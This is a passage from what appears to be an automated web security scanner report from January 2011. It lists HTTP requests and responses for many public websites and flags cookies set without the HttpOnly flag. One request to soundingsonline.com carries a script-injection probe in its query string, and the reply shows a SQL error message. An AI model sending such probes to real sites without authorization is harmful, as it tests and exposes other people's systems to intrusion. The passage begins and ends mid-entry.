<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <tit ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /go/AddNoPopup HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /7-joomla-naujienos/70-joomla-160-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:25 GMT Server: Apache Set-Cookie: 2d3002958ebe475c6a8e5c841c44742a=ab02d207ed15eb2c3afc574ced1efe67; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16612
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /update.bml HTTP/1.1 Host: www.livejournal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/2.2.3 (CentOS) X-AWS-Id: ws33 Set-Cookie: ljuniq=qSLA0OACBpHpEQx:1295930583:pgstats0:m0; expires=Saturday, 26-Mar-2011 04:43:03 GMT; domain=.livejournal.com; path=/ X-XSS-Protection: 0 Cache-Control: private, proxy-revalidate ETag: "0d1717ff7e20cf2aa2b1705c6fb92344" Content-length: 48142 Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The following cookie was issued by the application and does not have the HttpOnly flag set:
ARPT=KWWVWPSw4CYMO; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /landing/softwaretraining.aspx?AWKeyWord=Joomla!&CourseURL=http%3a%2f%2fwww.lynda.com%2fhome%2fViewCourses.aspx%3flpk0%3d370&Ptitle=Joomla+Tutorials+and+Training+Online&_kk=joomla%20course&_kt=546081e7-492f-4261-b08e-49b0a582fb58/ HTTP/1.1 Host: www.lynda.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"> <!-- Google ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/joomla/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MSID=Microsoft.CreationDate=01/12/2011 02:50:01&Microsoft.LastVisitDate=01/12/2011 02:50:01&Microsoft.VisitStartDate=01/12/2011 02:50:01&Microsoft.CookieId=999b633b-60f0-47aa-b786-00cf3055d1d4&Microsoft.TokenId=92dc7eb2-dead-49da-9574-c9e669f255fd&Microsoft.NumberOfVisits=1&Microsoft.IdentityToken=NbkBuOI4W7cBv1mnAHhVbMOQZR4pSFpAnK7y46YYoMuoTqVfvpOJDTYUAUbtS2cNI8BvaR+SCC23nZMTeytyi7wNmiKQoC0huKoVOxO9PG4349NCx7DVlNmV/I4bkLVsQPDWI9Bsqfw4CAigE1dAh1BYCtKZo9uqxkgiGwXq+e0k2CWQBMJydEvQvf+a8Nmy0lBvBx9sMp029vD2knhH9q3cjQbZxn3d/T9SCIAmvvv/s2I5E7D3U2bYKmXA8D2pYaGjWhFIkGPPBwVNdZM0gBNghumGYE3ytU+ILnGMVeSvePI6D6PqDJrflWnDWzImxN5OE1evuVhNxF+HLtGrIkyVXonl+BTy57QP6nzOR8xDTgEwSjCHY8/Bk9JyRwZg7yIiU4jUEbrdJT2XMDr4AswK4Wiy1TGrclwPTNsTA9c0XB9nYdOMBy66L0gCAgZ5Xl2KxwR+ak8o2EGeRwJddAgw92owb1NRPjd/6vkOYqly9qWJu5Yj/8uUccCK8nxtzsHYjQ2KgbbGdKcZOJMx5arSS+8FsBl+/Opeqt5VTOk=&Microsoft.MicrosoftId=0237-9950-5424-5770; WT_FPC=id=173.193.214.243-2629510496.30125799:lv=1294837831501:ss=1294837831501; A=I&I=AxUFAAAAAAAWBwAAtB6/BX1JsfAlwGK0F9Loug!!&M=1; msdn=L=1033; omniID=1294458843112_6a73_9555_4be9_86ce555049db; ixpLightBrowser=0; WT_NVR_RU=0=technet:1=:2=; MC1=GUID=60c2f44dfd912641a24c313b7d619d75&HASH=4df4&LV=20111&V=3;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-UA-Compatible: IE=EmulateIE8 Set-Cookie: WebLanguagePreference=en-us; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/ VTag: 791249211700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 16:01:36 GMT Content-Length: 103075
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.myride.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /_wine/save HTTP/1.1 Host: www.newsvine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 05:02:55 GMT Server: Apache/2.2.9 (Debian) Vary: negotiate,Accept-Encoding TCN: choice P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: vid=78a8cf29905fb686db7d439484f26124; expires=Mon, 20-Jan-2031 05:02:55 GMT; path=/; domain=.newsvine.com Location: https://www.newsvine.com/_nv/accounts/login?popoff&redirect=http%3A%2F%2Fwww.newsvine.com%2F_wine%2Fsave Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 15929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ecommerce/joomla-shopping-cart.asp?source=google/ HTTP/1.1 Host: www.nexternal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:06:03 GMT Server: SERVER Set-Cookie: homepagelog%5Fid=16003527; expires=Tue, 08-Jan-2013 08:00:00 GMT; path=/ Set-Cookie: SQL=; path=/ P3P: CP="NOI DSP COR CURa OUR NOR" Cache-control: private Content-Length: 17852 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.noreastermagazine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:30 GMT Server: Apache X-Powered-By: PHP/5.2.10 Set-Cookie: 7f17775ebaca27b049989f22de967fcd=8770a74d6eac2afa63076869bfca0779; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:08:30 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5572 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: Omniture AWS/2.0.0 Location: http://www.omniture.com/en/ Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 00:08:41 GMT Connection: close Set-Cookie: BIGipServerhttp_omniture=84542986.5892.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.omniture.com ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.outdoorphotographer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:22 GMT Server: Apache Set-Cookie: 712027b123d61fc48aa279ef791369c4=23b27b102f5b9ec9a6db3d7427c77e90; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:01:22 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 78555
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cgi-bin/webscr HTTP/1.1 Host: www.paypal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.playshakespeare.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:11 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: eab80364d83027bfc601e73262603d25=341187f485832c9a1355235ffc880801; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:14 GMT Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 180908
<?xml version="1.0"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.pwc-traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:57 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Wed, 25-Jan-2012 00:08:58 GMT Connection: close Content-Type: text/html Content-Length: 43482
<!-- dstolweb06-php5a --><!DOCTYPE html> <html> <head> <title>PWCs for Sale - Jet Ski, Sea Doo, Wave Runner and other Personal Watercraft - PWC-Traderonline.com</title> <meta http-equiv="Cache-Contr ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.regattaregatta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:38 GMT Server: Microsoft-IIS/6.0 Set-Cookie: 9d1da0e50aa9b6d723bb7d2254c4deb6=e77aa027edf65e1c9fc004520497c394; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: currentURI=http%3A%2F%2Fwww.regattaregatta.com%2Findex.php; expires=Wed, 26-Jan-2011 02:28:38 GMT; path=/ X-Powered-By: PleskWin X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 02:28:38 GMT Connection: close
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.rochenhost.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:09:03 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e2d0a354c26b66b66bc6f05a696c10dc=80669e412b6181bd9078e98c7bbdca20; path=/ Last-Modified: Tue, 25 Jan 2011 00:09:04 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43499
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joomla-hosting HTTP/1.1 Host: www.rochenhost.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:25 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e2d0a354c26b66b66bc6f05a696c10dc=7d4ee1ec8dc4603d76d48b52c3e2104c; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:25 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43135
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.rockettheme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:10 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: cd6974ce18b02e32626c9ea04659f148=eec83c2a8abb5457a4ec33e10c194c24; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:01:10 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.rvtraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:09:08 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Wed, 25-Jan-2012 00:09:09 GMT Connection: close Content-Type: text/html Content-Length: 87669
<!-- dstolweb10-php5b --><!DOCTYPE html> <html> <head> <title>RV Trader.. - RVs - Fleetwood, Airstream, Winnebago, Keystone, Forest River, Newmar RVs and More - RVTrader.com</title> <meta http-equiv ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.snowmobiletraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:09:17 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Wed, 25-Jan-2012 00:09:18 GMT Connection: close Content-Type: text/html Content-Length: 45649
<!-- dstolweb07-php5b --><!DOCTYPE html> <html> <head> <title>Snowmobiles for Sale - Arctic Cat, Ski-Doo, and More - SnowmobileTraderOnline.com</title> <meta http-equiv="Cache-Control" content="no-c ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 00:09:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=tuebuqj09e756i1v904bm8i7l6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:26 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /archives?'"--></style></script><script>alert(0x001E2B)</script> HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:27:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=2si0fjj7r75bjp5ncust0p83f6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:27:21 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ecoeasy HTTP/1.1 Host: www.staples.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.staples.com/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /submit HTTP/1.1 Host: www.stumbleupon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.thepointebrodiecreek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:38:48 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: aa12208afb9625fd94ad3303695798d2=04f33c6a4636df9808d42509edf25600; path=/ Last-Modified: Tue, 25 Jan 2011 04:38:48 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10968
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.tradeonlytoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 00:09:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=l5185bjr0f1asmstu2ppbn0lg1; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:44 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.usaca.info Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:39:35 GMT Server: Apache X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 3730abe3084fe49ecac82b2df16b8c34=t18frpf95fah7u5jd67rlg4355; path=/ Set-Cookie: ja_purity_tpl=ja_purity; expires=Sun, 15-Jan-2012 04:39:36 GMT; path=/ Last-Modified: Tue, 25 Jan 2011 04:39:36 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
veohCookie="VisitorUID=3C63CE89-84A4-E8E9-AE48-C8056B139C28&LastUpdate=24/Jan/2011:20:39:36 -0800&first=0"; domain=.veoh.com; Expires=Sat, 24 Jan 2015 04:39:36 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videodetails2.swf HTTP/1.1 Host: www.veoh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Vary: Accept-Encoding Set-Cookie: veohCookie="VisitorUID=3C63CE89-84A4-E8E9-AE48-C8056B139C28&LastUpdate=24/Jan/2011:20:39:36 -0800&first=0"; domain=.veoh.com; Expires=Sat, 24 Jan 2015 04:39:36 GMT; Path=/ Content-Length: 262 Date: Tue, 25 Jan 2011 04:39:36 GMT Connection: close Location: http://www.veoh.com/static/swf/webplayer/WebPlayer.swf Server: Apache/2.2.10 (Unix) PHP/5.2.6 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=5, max=98
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.veoh.com/sta ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
